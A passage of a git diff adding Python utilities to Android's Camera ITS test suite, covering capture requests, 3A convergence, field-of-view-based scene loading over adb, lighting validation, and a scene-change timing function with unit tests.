+    timeout = self.SOCK_TIMEOUT + self.EXTRA_SOCK_TIMEOUT
+    self.sock.settimeout(timeout)
+    data, _ = self.__read_response_from_socket()
+    if data['tag'] != 'sensorEvents':
+      raise error_util.CameraItsError('Invalid response for command: %s ' %
+                                      cmd['cmdName'])
+    self.sock.settimeout(self.SOCK_TIMEOUT)
+    return data['objValue']
+
+  def do_capture(self,
+                 cap_request,
+                 out_surfaces=None,
+                 reprocess_format=None,
+                 repeat_request=None):
+    """Issue capture request(s), and read back the image(s) and metadata.
+
+    The main top-level function for capturing one or more images using the
+    device. Captures a single image if cap_request is a single object, and
+    captures a burst if it is a list of objects.
+
+    The optional repeat_request field can be used to assign a repeating
+    request list ran in background for 3 seconds to warm up the capturing
+    pipeline before start capturing. The repeat_requests will be ran on a
+    640x480 YUV surface without sending any data back. The caller needs to
+    make sure the stream configuration defined by out_surfaces and
+    repeat_request are valid or do_capture may fail because device does not
+    support such stream configuration.
+
+    The out_surfaces field can specify the width(s), height(s), and
+    format(s) of the captured image. The formats may be "yuv", "jpeg",
+    "dng", "raw", "raw10", "raw12", "rawStats" or "y8". The default is a
+    YUV420 frame ("yuv") corresponding to a full sensor frame.
+
+    Optionally the out_surfaces field can specify physical camera id(s) if
+    the current camera device is a logical multi-camera. The physical camera
+    id must refer to a physical camera backing this logical camera device.
+
+    Note that one or more surfaces can be specified, allowing a capture to
+    request images back in multiple formats (e.g.) raw+yuv, raw+jpeg,
+    yuv+jpeg, raw+yuv+jpeg. If the size is omitted for a surface, the
+    default is the largest resolution available for the format of that
+    surface. At most one output surface can be specified for a given format,
+    and raw+dng, raw10+dng, and raw+raw10 are not supported as combinations.
+
+    If reprocess_format is not None, for each request, an intermediate
+    buffer of the given reprocess_format will be captured from camera and
+    the intermediate buffer will be reprocessed to the output surfaces. The
+    following settings will be turned off when capturing the intermediate
+    buffer and will be applied when reprocessing the intermediate buffer.
+    1. android.noiseReduction.mode
+    2. android.edge.mode
+    3. android.reprocess.effectiveExposureFactor
+
+    Supported reprocess format are "yuv" and "private". Supported output
+    surface formats when reprocessing is enabled are "yuv" and "jpeg".
+
+    Example of a single capture request:
+
+    {
+     "android.sensor.exposureTime": 100*1000*1000,
+     "android.sensor.sensitivity": 100
+    }
+
+    Example of a list of capture requests:
+    [
+     {
+       "android.sensor.exposureTime": 100*1000*1000,
+       "android.sensor.sensitivity": 100
+     },
+    {
+      "android.sensor.exposureTime": 100*1000*1000,
+       "android.sensor.sensitivity": 200
+     }
+    ]
+
+    Example of output surface specifications:
+    {
+     "width": 640,
+     "height": 480,
+     "format": "yuv"
+    }
+    [
+     {
+       "format": "jpeg"
+     },
+     {
+       "format": "raw"
+     }
+    ]
+
+    The following variables defined in this class are shortcuts for
+    specifying one or more formats where each output is the full size for
+    that format; they can be used as values for the out_surfaces arguments:
+
+    CAP_RAW
+    CAP_DNG
+    CAP_YUV
+    CAP_JPEG
+    CAP_RAW_YUV
+    CAP_DNG_YUV
+    CAP_RAW_JPEG
+    CAP_DNG_JPEG
+    CAP_YUV_JPEG
+    CAP_RAW_YUV_JPEG
+    CAP_DNG_YUV_JPEG
+
+    If multiple formats are specified, then this function returns multiple
+    capture objects, one for each requested format. If multiple formats and
+    multiple captures (i.e. a burst) are specified, then this function
+    returns multiple lists of capture objects. In both cases, the order of
+    the returned objects matches the order of the requested formats in the
+    out_surfaces parameter. For example:
+
+    yuv_cap = do_capture(req1)
+    yuv_cap = do_capture(req1,yuv_fmt)
+    yuv_cap, raw_cap = do_capture(req1, [yuv_fmt,raw_fmt])
+    yuv_caps = do_capture([req1,req2], yuv_fmt)
+    yuv_caps, raw_caps = do_capture([req1,req2], [yuv_fmt,raw_fmt])
+
+    The "rawStats" format processes the raw image and returns a new image
+    of statistics from the raw image. The format takes additional keys,
+    "gridWidth" and "gridHeight" which are size of grid cells in a 2D grid
+    of the raw image. For each grid cell, the mean and variance of each raw
+    channel is computed, and the do_capture call returns two 4-element float
+    images of dimensions (rawWidth / gridWidth, rawHeight / gridHeight),
+    concatenated back-to-back, where the first image contains the 4-channel
+    means and the second contains the 4-channel variances. Note that only
+    pixels in the active array crop region are used; pixels outside this
+    region (for example optical black rows) are cropped out before the
+    gridding and statistics computation is performed.
+
+    For the rawStats format, if the gridWidth is not provided then the raw
+    image width is used as the default, and similarly for gridHeight. With
+    this, the following is an example of a output description that computes
+    the mean and variance across each image row:
+    {
+      "gridHeight": 1,
+      "format": "rawStats"
+    }
+
+    Args:
+      cap_request: The Python dict/list specifying the capture(s), which will be
+        converted to JSON and sent to the device.
+      out_surfaces: (Optional) specifications of the output image formats and
+        sizes to use for each capture.
+      reprocess_format: (Optional) The reprocessing format. If not
+        None,reprocessing will be enabled.
+      repeat_request: Repeating request list.
+
+    Returns:
+      An object, list of objects, or list of lists of objects, where each
+      object contains the following fields:
+      * data: the image data as a numpy array of bytes.
+      * width: the width of the captured image.
+      * height: the height of the captured image.
+      * format: image the format, in [
+                        "yuv","jpeg","raw","raw10","raw12","rawStats","dng"].
+      * metadata: the capture result object (Python dictionary).
+    """
+    cmd = {}
+    if reprocess_format is not None:
+      if repeat_request is not None:
+        raise error_util.CameraItsError(
+            'repeating request + reprocessing is not supported')
+      cmd['cmdName'] = 'doReprocessCapture'
+      cmd['reprocessFormat'] = reprocess_format
+    else:
+      cmd['cmdName'] = 'doCapture'
+
+    if repeat_request is None:
+      cmd['repeatRequests'] = []
+    elif not isinstance(repeat_request, list):
+      cmd['repeatRequests'] = [repeat_request]
+    else:
+      cmd['repeatRequests'] = repeat_request
+
+    if not isinstance(cap_request, list):
+      cmd['captureRequests'] = [cap_request]
+    else:
+      cmd['captureRequests'] = cap_request
+
+    if out_surfaces is not None:
+      if not isinstance(out_surfaces, list):
+        cmd['outputSurfaces'] = [out_surfaces]
+      else:
+        cmd['outputSurfaces'] = out_surfaces
+      formats = [
+          c['format'] if 'format' in c else 'yuv' for c in cmd['outputSurfaces']
+      ]
+      formats = [s if s != 'jpg' else 'jpeg' for s in formats]
+    else:
+      max_yuv_size = capture_request_utils.get_available_output_sizes(
+          'yuv', self.props)[0]
+      formats = ['yuv']
+      cmd['outputSurfaces'] = [{
+          'format': 'yuv',
+          'width': max_yuv_size[0],
+          'height': max_yuv_size[1]
+      }]
+
+    ncap = len(cmd['captureRequests'])
+    nsurf = 1 if out_surfaces is None else len(cmd['outputSurfaces'])
+
+    cam_ids = []
+    bufs = {}
+    yuv_bufs = {}
+    for i, s in enumerate(cmd['outputSurfaces']):
+      if self._hidden_physical_id:
+        s['physicalCamera'] = self._hidden_physical_id
+
+      if 'physicalCamera' in s:
+        cam_id = s['physicalCamera']
+      else:
+        cam_id = self._camera_id
+
+      if cam_id not in cam_ids:
+        cam_ids.append(cam_id)
+        bufs[cam_id] = {
+            'raw': [],
+            'raw10': [],
+            'raw12': [],
+            'rawStats': [],
+            'dng': [],
+            'jpeg': [],
+            'y8': []
+        }
+
+    for cam_id in cam_ids:
+       # Only allow yuv output to multiple targets
+      if cam_id == self._camera_id:
+        yuv_surfaces = [
+            s for s in cmd['outputSurfaces']
+            if s['format'] == 'yuv' and 'physicalCamera' not in s
+        ]
+        formats_for_id = [
+            s['format']
+            for s in cmd['outputSurfaces']
+            if 'physicalCamera' not in s
+        ]
+      else:
+        yuv_surfaces = [
+            s for s in cmd['outputSurfaces'] if s['format'] == 'yuv' and
+            'physicalCamera' in s and s['physicalCamera'] == cam_id
+        ]
+        formats_for_id = [
+            s['format']
+            for s in cmd['outputSurfaces']
+            if 'physicalCamera' in s and s['physicalCamera'] == cam_id
+        ]
+
+      n_yuv = len(yuv_surfaces)
+      # Compute the buffer size of YUV targets
+      yuv_maxsize_1d = 0
+      for s in yuv_surfaces:
+        if ('width' not in s and 'height' not in s):
+          if self.props is None:
+            raise error_util.CameraItsError('Camera props are unavailable')
+          yuv_maxsize_2d = capture_request_utils.get_available_output_sizes(
+              'yuv', self.props)[0]
+          # YUV420 size = 1.5 bytes per pixel
+          yuv_maxsize_1d = (yuv_maxsize_2d[0] * yuv_maxsize_2d[1] * 3) // 2
+          break
+      yuv_sizes = [
+          (c['width'] * c['height'] * 3) // 2
+          if 'width' in c and 'height' in c else yuv_maxsize_1d
+          for c in yuv_surfaces
+      ]
+      # Currently we don't pass enough metadta from ItsService to distinguish
+      # different yuv stream of same buffer size
+      if len(yuv_sizes) != len(set(yuv_sizes)):
+        raise error_util.CameraItsError(
+            'ITS does not support yuv outputs of same buffer size')
+      if len(formats_for_id) > len(set(formats_for_id)):
+        if n_yuv != len(formats_for_id) - len(set(formats_for_id)) + 1:
+          raise error_util.CameraItsError('Duplicate format requested')
+
+      yuv_bufs[cam_id] = {size: [] for size in yuv_sizes}
+
+    raw_formats = 0
+    raw_formats += 1 if 'dng' in formats else 0
+    raw_formats += 1 if 'raw' in formats else 0
+    raw_formats += 1 if 'raw10' in formats else 0
+    raw_formats += 1 if 'raw12' in formats else 0
+    raw_formats += 1 if 'rawStats' in formats else 0
+    if raw_formats > 1:
+      raise error_util.CameraItsError('Different raw formats not supported')
+
+    # Detect long exposure time and set timeout accordingly
+    longest_exp_time = 0
+    for req in cmd['captureRequests']:
+      if 'android.sensor.exposureTime' in req and req[
+          'android.sensor.exposureTime'] > longest_exp_time:
+        longest_exp_time = req['android.sensor.exposureTime']
+
+    extended_timeout = longest_exp_time // self.SEC_TO_NSEC + self.SOCK_TIMEOUT
+    if repeat_request:
+      extended_timeout += self.EXTRA_SOCK_TIMEOUT
+    self.sock.settimeout(extended_timeout)
+
+    logging.debug('Capturing %d frame%s with %d format%s [%s]', ncap,
+                  's' if ncap > 1 else '', nsurf, 's' if nsurf > 1 else '',
+                  ','.join(formats))
+    self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
+
+    # Wait for ncap*nsurf images and ncap metadata responses.
+    # Assume that captures come out in the same order as requested in
+    # the burst, however individual images of different formats can come
+    # out in any order for that capture.
+    nbufs = 0
+    mds = []
+    physical_mds = []
+    widths = None
+    heights = None
+    while nbufs < ncap * nsurf or len(mds) < ncap:
+      json_obj, buf = self.__read_response_from_socket()
+      if json_obj['tag'] in ItsSession.IMAGE_FORMAT_LIST_1 and buf is not None:
+        fmt = json_obj['tag'][:-5]
+        bufs[self._camera_id][fmt].append(buf)
+        nbufs += 1
+      elif json_obj['tag'] == 'yuvImage':
+        buf_size = numpy.product(buf.shape)
+        yuv_bufs[self._camera_id][buf_size].append(buf)
+        nbufs += 1
+      elif json_obj['tag'] == 'captureResults':
+        mds.append(json_obj['objValue']['captureResult'])
+        physical_mds.append(json_obj['objValue']['physicalResults'])
+        outputs = json_obj['objValue']['outputs']
+        widths = [out['width'] for out in outputs]
+        heights = [out['height'] for out in outputs]
+      else:
+        tag_string = unicodedata.normalize('NFKD', json_obj['tag']).encode(
+            'ascii', 'ignore')
+        for x in ItsSession.IMAGE_FORMAT_LIST_2:
+          x = bytes(x, encoding='utf-8')
+          if tag_string.startswith(x):
+            if x == b'yuvImage':
+              physical_id = json_obj['tag'][len(x):]
+              if physical_id in cam_ids:
+                buf_size = numpy.product(buf.shape)
+                yuv_bufs[physical_id][buf_size].append(buf)
+                nbufs += 1
+            else:
+              physical_id = json_obj['tag'][len(x):]
+              if physical_id in cam_ids:
+                fmt = x[:-5].decode('UTF-8')
+                bufs[physical_id][fmt].append(buf)
+                nbufs += 1
+    rets = []
+    for j, fmt in enumerate(formats):
+      objs = []
+      if 'physicalCamera' in cmd['outputSurfaces'][j]:
+        cam_id = cmd['outputSurfaces'][j]['physicalCamera']
+      else:
+        cam_id = self._camera_id
+
+      for i in range(ncap):
+        obj = {}
+        obj['width'] = widths[j]
+        obj['height'] = heights[j]
+        obj['format'] = fmt
+        if cam_id == self._camera_id:
+          obj['metadata'] = mds[i]
+        else:
+          for physical_md in physical_mds[i]:
+            if cam_id in physical_md:
+              obj['metadata'] = physical_md[cam_id]
+              break
+
+        if fmt == 'yuv':
+          buf_size = (widths[j] * heights[j] * 3) // 2
+          obj['data'] = yuv_bufs[cam_id][buf_size][i]
+        else:
+          obj['data'] = bufs[cam_id][fmt][i]
+        objs.append(obj)
+      rets.append(objs if ncap > 1 else objs[0])
+    self.sock.settimeout(self.SOCK_TIMEOUT)
+    if len(rets) > 1 or (isinstance(rets[0], dict) and
+                         isinstance(cap_request, list)):
+      return rets
+    else:
+      return rets[0]
+
+  def do_vibrate(self, pattern):
+    """Cause the device to vibrate to a specific pattern.
+
+    Args:
+      pattern: Durations (ms) for which to turn on or off the vibrator.
+      The first value indicates the number of milliseconds to wait
+      before turning the vibrator on. The next value indicates the
+      number of milliseconds for which to keep the vibrator on
+      before turning it off. Subsequent values alternate between
+      durations in milliseconds to turn the vibrator off or to turn
+      the vibrator on.
+
+    Returns:
+      Nothing.
+    """
+    cmd = {}
+    cmd['cmdName'] = 'doVibrate'
+    cmd['pattern'] = pattern
+    self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
+    data, _ = self.__read_response_from_socket()
+    if data['tag'] != 'vibrationStarted':
+      raise error_util.CameraItsError('Invalid response for command: %s' %
+                                      cmd['cmdName'])
+
+  def set_audio_restriction(self, mode):
+    """Set the audio restriction mode for this camera device.
+
+    Args:
+     mode: int; the audio restriction mode. See CameraDevice.java for valid
+     value.
+    Returns:
+     Nothing.
+    """
+    cmd = {}
+    cmd['cmdName'] = 'setAudioRestriction'
+    cmd['mode'] = mode
+    self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
+    data, _ = self.__read_response_from_socket()
+    if data['tag'] != 'audioRestrictionSet':
+      raise error_util.CameraItsError('Invalid response for command: %s' %
+                                      cmd['cmdName'])
+
+  # pylint: disable=dangerous-default-value
+  def do_3a(self,
+            regions_ae=[[0, 0, 1, 1, 1]],
+            regions_awb=[[0, 0, 1, 1, 1]],
+            regions_af=[[0, 0, 1, 1, 1]],
+            do_ae=True,
+            do_awb=True,
+            do_af=True,
+            lock_ae=False,
+            lock_awb=False,
+            get_results=False,
+            ev_comp=0,
+            mono_camera=False):
+    """Perform a 3A operation on the device.
+
+    Triggers some or all of AE, AWB, and AF, and returns once they have
+    converged. Uses the vendor 3A that is implemented inside the HAL.
+    Note: do_awb is always enabled regardless of do_awb flag
+
+    Throws an assertion if 3A fails to converge.
+
+    Args:
+      regions_ae: List of weighted AE regions.
+      regions_awb: List of weighted AWB regions.
+      regions_af: List of weighted AF regions.
+      do_ae: Trigger AE and wait for it to converge.
+      do_awb: Wait for AWB to converge.
+      do_af: Trigger AF and wait for it to converge.
+      lock_ae: Request AE lock after convergence, and wait for it.
+      lock_awb: Request AWB lock after convergence, and wait for it.
+      get_results: Return the 3A results from this function.
+      ev_comp: An EV compensation value to use when running AE.
+      mono_camera: Boolean for monochrome camera.
+
+      Region format in args:
+         Arguments are lists of weighted regions; each weighted region is a
+         list of 5 values, [x, y, w, h, wgt], and each argument is a list of
+         these 5-value lists. The coordinates are given as normalized
+         rectangles (x, y, w, h) specifying the region. For example:
+         [[0.0, 0.0, 1.0, 0.5, 5], [0.0, 0.5, 1.0, 0.5, 10]].
+         Weights are non-negative integers.
+
+    Returns:
+      Five values are returned if get_results is true:
+      * AE sensitivity; None if do_ae is False
+      * AE exposure time; None if do_ae is False
+      * AWB gains (list);
+      * AWB transform (list);
+      * AF focus position; None if do_af is false
+      Otherwise, it returns five None values.
+    """
+    logging.debug('Running vendor 3A on device')
+    cmd = {}
+    cmd['cmdName'] = 'do3A'
+    cmd['regions'] = {
+        'ae': sum(regions_ae, []),
+        'awb': sum(regions_awb, []),
+        'af': sum(regions_af, [])
+    }
+    cmd['triggers'] = {'ae': do_ae, 'af': do_af}
+    if lock_ae:
+      cmd['aeLock'] = True
+    if lock_awb:
+      cmd['awbLock'] = True
+    if ev_comp != 0:
+      cmd['evComp'] = ev_comp
+    if self._hidden_physical_id:
+      cmd['physicalId'] = self._hidden_physical_id
+    self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
+
+    # Wait for each specified 3A to converge.
+    ae_sens = None
+    ae_exp = None
+    awb_gains = None
+    awb_transform = None
+    af_dist = None
+    converged = False
+    while True:
+      data, _ = self.__read_response_from_socket()
+      vals = data['strValue'].split()
+      if data['tag'] == 'aeResult':
+        if do_ae:
+          ae_sens, ae_exp = [int(i) for i in vals]
+      elif data['tag'] == 'afResult':
+        if do_af:
+          af_dist = float(vals[0])
+      elif data['tag'] == 'awbResult':
+        awb_gains = [float(f) for f in vals[:4]]
+        awb_transform = [float(f) for f in vals[4:]]
+      elif data['tag'] == '3aConverged':
+        converged = True
+      elif data['tag'] == '3aDone':
+        break
+      else:
+        raise error_util.CameraItsError('Invalid command response')
+    if converged and not get_results:
+      return None, None, None, None, None
+    if (do_ae and ae_sens is None or
+        (not mono_camera and do_awb and awb_gains is None) or
+        do_af and af_dist is None or not converged):
+      raise error_util.CameraItsError('3A failed to converge')
+    return ae_sens, ae_exp, awb_gains, awb_transform, af_dist
+
+  def calc_camera_fov(self, props):
+    """Determine the camera field of view from internal params.
+
+    Args:
+      props: Camera properties object.
+
+    Returns:
+      camera_fov: string; field of view for camera.
+    """
+
+    focal_ls = props['android.lens.info.availableFocalLengths']
+    if len(focal_ls) > 1:
+      logging.debug('Doing capture to determine logical camera focal length')
+      cap = self.do_capture(capture_request_utils.auto_capture_request())
+      focal_l = cap['metadata']['android.lens.focalLength']
+    else:
+      focal_l = focal_ls[0]
+
+    sensor_size = props['android.sensor.info.physicalSize']
+    diag = math.sqrt(sensor_size['height']**2 + sensor_size['width']**2)
+    try:
+      fov = str(round(2 * math.degrees(math.atan(diag / (2 * focal_l))), 2))
+    except ValueError:
+      fov = str(0)
+    logging.debug('Calculated FoV: %s', fov)
+    return fov
+
+  def get_file_name_to_load(self, chart_distance, camera_fov, scene):
+    """Get the image to load on the tablet depending on fov and chart_distance.
+
+    Args:
+     chart_distance: float; distance in cm from camera of displayed chart
+     camera_fov: float; camera field of view.
+     scene: String; Scene to be used in the test.
+
+    Returns:
+     file_name: file name to display on the tablet.
+
+    """
+    chart_scaling = cv2_image_processing_utils.calc_chart_scaling(
+        chart_distance, camera_fov)
+    if numpy.isclose(
+        chart_scaling,
+        cv2_image_processing_utils.SCALE_TELE_IN_WFOV_BOX,
+        atol=0.01):
+      file_name = '%s_%sx_scaled.pdf' % (
+          scene, str(cv2_image_processing_utils.SCALE_TELE_IN_WFOV_BOX))
+    elif numpy.isclose(
+        chart_scaling,
+        cv2_image_processing_utils.SCALE_RFOV_IN_WFOV_BOX,
+        atol=0.01):
+      file_name = '%s_%sx_scaled.pdf' % (
+          scene, str(cv2_image_processing_utils.SCALE_RFOV_IN_WFOV_BOX))
+    else:
+      file_name = '%s.pdf' % scene
+    logging.debug('Scene to load: %s', file_name)
+    return file_name
+
+  def is_stream_combination_supported(self, out_surfaces):
+    """Query whether out_surfaces combination is supported by the camera device.
+
+    This function hooks up to the isSessionConfigurationSupported() camera API
+    to query whether a particular stream combination is supported.
+
+    Args:
+      out_surfaces: dict; see do_capture() for specifications on out_surfaces
+
+    Returns:
+      Boolean
+    """
+    cmd = {}
+    cmd['cmdName'] = 'isStreamCombinationSupported'
+
+    if not isinstance(out_surfaces, list):
+      cmd['outputSurfaces'] = [out_surfaces]
+    else:
+      cmd['outputSurfaces'] = out_surfaces
+    formats = [c['format'] if 'format' in c else 'yuv'
+               for c in cmd['outputSurfaces']]
+    formats = [s if s != 'jpg' else 'jpeg' for s in formats]
+
+    self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
+
+    data, _ = self.__read_response_from_socket()
+    if data['tag'] != 'streamCombinationSupport':
+      raise error_util.CameraItsError('Failed to query stream combination')
+
+    return data['strValue'] == 'supportedCombination'
+
+
+def parse_camera_ids(ids):
+  """Parse the string of camera IDs into array of CameraIdCombo tuples.
+
+  Args:
+   ids: List of camera ids.
+
+  Returns:
+   Array of CameraIdCombo
+  """
+  camera_id_combo = collections.namedtuple('CameraIdCombo', ['id', 'sub_id'])
+  id_combos = []
+  for one_id in ids:
+    one_combo = one_id.split(':')
+    if len(one_combo) == 1:
+      id_combos.append(camera_id_combo(one_combo[0], None))
+    elif len(one_combo) == 2:
+      id_combos.append(camera_id_combo(one_combo[0], one_combo[1]))
+    else:
+      raise AssertionError('Camera id parameters must be either ID or '
+                           f'ID{SUB_CAMERA_SEPARATOR}SUB_ID')
+  return id_combos
+
+
+def _run(cmd):
+  """Replacement for os.system, with hiding of stdout+stderr messages.
+
+  Args:
+    cmd: Command to be executed in string format.
+  """
+  with open(os.devnull, 'wb') as devnull:
+    subprocess.check_call(cmd.split(), stdout=devnull, stderr=subprocess.STDOUT)
+
+
+def do_capture_with_latency(cam, req, sync_latency, fmt=None):
+  """Helper function to take enough frames to allow sync latency.
+
+  Args:
+    cam: camera object
+    req: request for camera
+    sync_latency: integer number of frames
+    fmt: format for the capture
+  Returns:
+    single capture with the unsettled frames discarded
+  """
+  caps = cam.do_capture([req]*(sync_latency+1), fmt)
+  return caps[-1]
+
+
+def load_scene(cam, props, scene, tablet, chart_distance):
+  """Load the scene for the camera based on the FOV.
+
+  Args:
+    cam: camera object
+    props: camera properties
+    scene: scene to be loaded
+    tablet: tablet to load scene on
+    chart_distance: distance to tablet
+  """
+  # Calculate camera_fov which will determine the image to load on tablet.
+  camera_fov = cam.calc_camera_fov(props)
+  file_name = cam.get_file_name_to_load(chart_distance, camera_fov, scene)
+  logging.debug('Displaying %s on the tablet', file_name)
+  # Display the scene on the tablet depending on camera_fov
+  tablet.adb.shell(
+      'am start -a android.intent.action.VIEW -t application/pdf '
+      f'-d file://mnt/sdcard/Download/{file_name}')
+  time.sleep(LOAD_SCENE_DELAY_SEC)
+  rfov_camera_in_rfov_box = (
+      numpy.isclose(
+          chart_distance,
+          cv2_image_processing_utils.CHART_DISTANCE_RFOV, rtol=0.1) and
+      cv2_image_processing_utils.FOV_THRESH_TELE <= float(camera_fov)
+      <= cv2_image_processing_utils.FOV_THRESH_WFOV)
+  wfov_camera_in_wfov_box = (
+      numpy.isclose(
+          chart_distance,
+          cv2_image_processing_utils.CHART_DISTANCE_WFOV, rtol=0.1) and
+      float(camera_fov) > cv2_image_processing_utils.FOV_THRESH_WFOV)
+  if rfov_camera_in_rfov_box or wfov_camera_in_wfov_box:
+    cap = cam.do_capture(capture_request_utils.auto_capture_request())
+    img = image_processing_utils.convert_capture_to_rgb_image(cap)
+    validate_lighting(img)
+
+
+def validate_lighting(img):
+  """Validates the lighting level in scene corners based on empirical values.
+
+  Args:
+    img: rgb image
+  Returns:
+    boolean True if lighting validated, else raise AssertionError
+  """
+  logging.debug('Validating lighting levels.')
+
+  # Test patches from each corner.
+  for location, coordinates in _VALIDATE_LIGHTING_REGIONS.items():
+    patch = image_processing_utils.get_image_patch(
+        img, coordinates[0], coordinates[1],
+        _VALIDATE_LIGHTING_PATCH_W, _VALIDATE_LIGHTING_PATCH_H)
+    g_mean = image_processing_utils.compute_image_means(patch)[_G_CHANNEL]
+    logging.debug('%s corner G mean: %.3f', location, g_mean)
+    if g_mean > _VALIDATE_LIGHTING_THRESH:
+      logging.debug('Lights ON in test rig.')
+      return True
+  raise AssertionError('Lights OFF in test rig. Please turn ON and retry.')
+
+
+def get_build_sdk_version(device_id):
+  """Return the int build version of the device."""
+  cmd = 'adb -s %s shell getprop ro.build.version.sdk' % device_id
+  try:
+    build_sdk_version = int(subprocess.check_output(cmd.split()).rstrip())
+    logging.debug('Build SDK version: %d', build_sdk_version)
+  except (subprocess.CalledProcessError, ValueError):
+    raise AssertionError('No build_sdk_version.')
+  return build_sdk_version
+
+
+def get_first_api_level(device_id):
+  """Return the int value for the first API level of the device."""
+  cmd = 'adb -s %s shell getprop ro.product.first_api_level' % device_id
+  try:
+    first_api_level = int(subprocess.check_output(cmd.split()).rstrip())
+    logging.debug('First API level: %d', first_api_level)
+  except (subprocess.CalledProcessError, ValueError):
+    logging.error('No first_api_level. Setting to build version.')
+    first_api_level = get_build_sdk_version(device_id)
+  return first_api_level
+
+
+class ItsSessionUtilsTests(unittest.TestCase):
+  """Run a suite of unit tests on this module."""
+
+  _BRIGHTNESS_CHECKS = (0.0,
+                        _VALIDATE_LIGHTING_THRESH-0.01,
+                        _VALIDATE_LIGHTING_THRESH,
+                        _VALIDATE_LIGHTING_THRESH+0.01,
+                        1.0)
+  _TEST_IMG_W = 640
+  _TEST_IMG_H = 480
+
+  def _generate_test_image(self, brightness):
+    """Creates an RGB image array with pixel values of brightness.
+
+    Args:
+      brightness: float between [0.0, 1.0]
+
+    Returns:
+      RGB image array with elements of value brightness
+    """
+    test_image = numpy.zeros((self._TEST_IMG_W, self._TEST_IMG_H, 3),
+                             dtype=float)
+    test_image.fill(brightness)
+    return test_image
+
+  def test_validate_lighting(self):
+    """Tests validate_lighting() works correctly."""
+    # Run with different brightnesses to validate.
+    for brightness in self._BRIGHTNESS_CHECKS:
+      logging.debug('Testing validate_lighting with brightness %.1f',
+                    brightness)
+      test_image = self._generate_test_image(brightness)
+      print(f'Testing brightness: {brightness}')
+      if brightness <= _VALIDATE_LIGHTING_THRESH:
+        self.assertRaises(AssertionError, validate_lighting, test_image)
+      else:
+        self.assertTrue(validate_lighting(test_image),
+                        f'image value {brightness} should PASS')
+
+
+if __name__ == '__main__':
+  unittest.main()
diff --git a/apps/CameraITS2.0/utils/scene_change_utils.py b/apps/CameraITS2.0/utils/scene_change_utils.py
new file mode 100644
index 0000000..0694ddf
--- /dev/null
+++ b/apps/CameraITS2.0/utils/scene_change_utils.py
@@ -0,0 +1,124 @@
+# Copyright 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import unittest
+
+_DARK_SCENE_THRESH = 0.2
+_FPS = 30  # Frames Per Second
+_FRAME_SHIFT_SMALL = 5  # Num of frames to shift if scene or brightness change.
+_FRAME_SHIFT_LARGE = 30  # Num of frames to shift if no change in capture.
+SCENE_CHANGE_FAIL_CODE = -1001
+SCENE_CHANGE_PASS_CODE = 1001
+
+
+def calc_timing_adjustment(converged, scene_change_flag,
+                           bright_change_flag, bright_final):
+  """Calculate timing adjustment based on converged frame and flags.
+
+  Args:
+    converged: Boolean on whether 3A converged or not.
+    scene_change_flag: Boolean for if afSceneChanged triggered.
+    bright_change_flag: Boolean for if image brightness changes.
+    bright_final: Float for average value of center patch of final frame.
+  Returns:
+    scene_change_timing_shift: Timing shift in frames.
+
+  Does timing adjustment based on input values from captured frames.
+    Truth table for 3A frame, Change flag, Bright flag, Last frame brightness
+      3, C, B, L
+      1, 1, 1, X --> PASS: 3A settled, scene and brightness change
+      1, 1, 0, X --> FAIL: 3A settled, scene change, but no brightness change
+      1, 0, 1, X --> shift FRAME_SHIFT_SMALL earlier
+      1, 0, 0, 1 --> shift FRAME_SHIFT_LARGE earlier
+      1, 0, 0, 0 --> shift FRAME_SHIFT_LARGE later
+      0, X, 1, X --> shift FRAME_SHIFT_SMALL later
+      0, X, 0, X --> FAIL: Check results of scene2/test_continuous_picture.
+    Note: these values have been found empirically for 4 different phone
+          models and 8 cameras. It is possible they may need to be tweaked as
+          more phone models become available.
+  """
+  if converged:  # 3A converges
+    if scene_change_flag:
+      if bright_change_flag:  # scene_change_flag & brightness change --> PASS
+        logging.debug('Scene & brightness change: PASS.')
+        return SCENE_CHANGE_PASS_CODE
+      else:  # scene_change_flag & no brightness change --> FAIL
+        scene_change_frame_shift = SCENE_CHANGE_FAIL_CODE
+        logging.error('Scene change, but no brightness change.')
+    else:  # No scene change flag: shift timing
+      if bright_change_flag:
+        scene_change_frame_shift = -1 * _FRAME_SHIFT_SMALL
+        logging.debug('No scene change flag, but brightness change.')
+      else:
+        logging.debug('No scene change flag, no brightness change.')
+        if bright_final < _DARK_SCENE_THRESH:
+          scene_change_frame_shift = _FRAME_SHIFT_LARGE
+          logging.debug('Scene dark entire capture.')
+        else:
+          scene_change_frame_shift = -1 * _FRAME_SHIFT_LARGE
+          logging.debug('Scene light entire capture.')
+  else:  # 3A does not converge.
+    if bright_change_flag:
+      scene_change_frame_shift = _FRAME_SHIFT_SMALL
+      logging.debug('3A does not converge, but brightness changes.')
+    else:
+      scene_change_frame_shift = SCENE_CHANGE_FAIL_CODE
+      logging.error('3A does not converge, and brightness does not change.')
+  if scene_change_frame_shift >= 0:
+    logging.debug('Shift +%d frames.', scene_change_frame_shift)
+  else:
+    logging.debug('Shift %d frames.', scene_change_frame_shift)
+  return scene_change_frame_shift
+
+
+class ItsSessionUtilsTests(unittest.TestCase):
+  """Unit tests for this module."""
+
+  def test_calc_timing_adjustment_shift(self):
+    results = {}
+    expected_results = {'1111': SCENE_CHANGE_PASS_CODE,
+                        '1110': SCENE_CHANGE_PASS_CODE,
+                        '1101': SCENE_CHANGE_FAIL_CODE,
+                        '1100': SCENE_CHANGE_FAIL_CODE,
+                        '1011': -1*_FRAME_SHIFT_SMALL,
+                        '1010': -1*_FRAME_SHIFT_SMALL,
+                        '1001': -1*_FRAME_SHIFT_LARGE,
+                        '1000': _FRAME_SHIFT_LARGE,
+                        '0111': _FRAME_SHIFT_SMALL,
+                        '0110': _FRAME_SHIFT_SMALL,
+                        '0101': SCENE_CHANGE_FAIL_CODE,
+                        '0100': SCENE_CHANGE_FAIL_CODE,
+                        '0011': _FRAME_SHIFT_SMALL,
+                        '0010': _FRAME_SHIFT_SMALL,
